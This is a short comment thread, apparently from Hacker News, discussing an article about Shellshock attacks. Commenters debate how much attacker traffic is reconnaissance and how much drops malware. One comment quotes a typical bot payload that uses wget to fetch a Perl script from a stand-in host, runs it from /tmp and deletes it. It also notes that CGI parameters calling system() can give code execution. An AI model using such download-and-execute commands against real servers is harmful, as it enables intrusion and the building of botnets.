Inside Shellshock: How hackers are using it to exploit systems

Re:Inside Shellshock: How hackers are using it to exploit sy... by meowface on Wednesday October 01, 2014 @12:06AM (#8392761)

I know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget http://evil.com/script.pl -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously.

There aren't going to be that many popped servers because the number of Internet-facing web apps that use CGI + have bash as /bin/sh or call bash explicitly is not all that high, though it is still high enough to build a considerable botnet. The other issue is that they need to find a code path in a CGI app that calls out to bash, while many of the bots so far seem a bit naive in their crawling (excluding the ones targeting specific appliances and panels). A request to a hypothetical /cgi-bin/status.cgi may not do anything, but what they don't realize is that status.cgi?details=1 may call system("date") and then give them RCE.

[ Parent | on HN ]

Re:Inside Shellshock: How hackers are using it to exploit sy... by jgrahamc on Wednesday October 01, 2014 @03:52AM (#8393273)

Understood. I based the claim that it was mostly reconnaissance right now on the fact that 83% of all the requests we were seeing were reconnaissance and not dropping malware. But, I agree, there is a lot of malware being dropped as well.

[ Parent | on HN ]

Re:Inside Shellshock: How hackers are using it to exploit sy... by meowface on Thursday October 02, 2014 @07:51PM (#8403754)

My organization has mostly been seeing more reconnaissance than actual code execution as well. I suspect, or perhaps just hope, that this is because most of the current scanning is being done by white hats/gray hats. I suspect the people who actually want to infect machines aren't bothering with reconnaissance.

[ Parent | on HN ]